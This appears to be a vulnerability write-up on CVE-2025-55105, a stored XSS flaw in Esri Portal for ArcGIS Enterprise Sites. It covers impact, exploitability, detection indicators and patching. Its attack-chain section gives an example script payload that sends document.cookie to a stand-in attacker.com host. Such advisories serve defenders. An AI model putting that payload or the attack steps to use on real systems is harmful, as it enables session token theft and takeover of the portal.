CVE-2025-55105: 
Portal for ArcGIS vulnerability analysis and mitigation

CVE-2025-55105 is a stored Cross-Site Scripting (XSS) vulnerability in Esri Portal for ArcGIS Enterprise Sites affecting versions 10.9.1 through 11.4. A remote, authenticated attacker with high privileges can inject a malicious file containing an embedded XSS script that executes arbitrary JavaScript in a victim's browser. Successful exploitation could disclose privileged tokens and potentially grant the attacker full control of the Portal. The vulnerability was published on August 21, 2025, with a patch released on September 5, 2025. It carries a CVSS v3.1 base score of 4.8 (Medium) (Esri Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. An authenticated attacker with high-level privileges uploads or injects a malicious file with an embedded XSS payload into the Portal for ArcGIS Enterprise Sites component; when a victim loads the affected page or resource, the script executes in their browser context. The attack vector is network-based, requires user interaction from the victim, and has a changed scope, meaning the impact crosses the security boundary of the originating application. No public proof-of-concept exploit code has been identified at this time (Esri Advisory, Red Hat CVE).

Exploitation of this vulnerability can result in arbitrary JavaScript execution within a victim's browser session on the Portal for ArcGIS Enterprise Sites. The primary risk is the disclosure of privileged authentication tokens, which could allow the attacker to escalate access and gain full administrative control of the Portal. Confidentiality and integrity impacts are rated low individually, but the potential for token theft makes the effective business impact significantly higher in environments where the Portal manages sensitive geospatial or organizational data (Esri Advisory).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker to already hold high-privilege credentials within the Portal, which significantly limits the attack surface (Red Hat CVE).

1. Obtain High-Privilege Access: The attacker must first acquire credentials for a high-privilege account on the target Esri Portal for ArcGIS Enterprise Sites instance (versions 10.9.1–11.4), either through credential theft, phishing, or insider access.
2. Craft Malicious File: Prepare a file (e.g., an HTML, SVG, or other supported file type) containing an embedded XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a script designed to exfiltrate the victim's session token.
3. Upload/Inject the File: Use the authenticated session to upload or embed the malicious file into the Enterprise Sites component of the Portal, where it will be stored server-side.
4. Deliver to Victim: Lure a target user (ideally one with elevated privileges) into loading the page or resource containing the injected file, through a shared link, social engineering, or by placing it in a commonly accessed area of the Portal.
5. Harvest Token/Session: When the victim's browser loads the malicious content, the embedded JavaScript executes, potentially exfiltrating the victim's privileged authentication token to an attacker-controlled server.
6. Leverage Token for Full Control: Use the harvested token to authenticate as the victim and gain full administrative control of the Portal (Esri Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from end-user browsers to unknown external domains immediately after accessing Portal for ArcGIS Enterprise Sites pages; unusual GET requests containing encoded cookie or token data in query parameters.
• Logs: Portal access logs showing file uploads by high-privilege accounts followed shortly by access to those resources from other user accounts; server-side logs recording delivery of files with suspicious script content.
• File System: Presence of uploaded files (HTML, SVG, or other web-renderable formats) in Portal content directories containing <script> tags or JavaScript event handlers not consistent with legitimate content.
• Application Behavior: Unexpected redirects or pop-ups experienced by users when browsing Enterprise Sites pages; user-reported anomalous browser behavior after visiting specific Portal pages.

Esri released a patch on September 5, 2025; administrators should update Esri Portal for ArcGIS Enterprise to a version beyond 11.4 that includes this fix. As interim mitigations, organizations should restrict high-privilege account access to only trusted users, implement strict input validation and output encoding controls, and monitor for suspicious file uploads or script injections within the Portal. Limiting user interactions with untrusted content and reviewing uploaded file types allowed by the Portal can further reduce risk (Esri Advisory).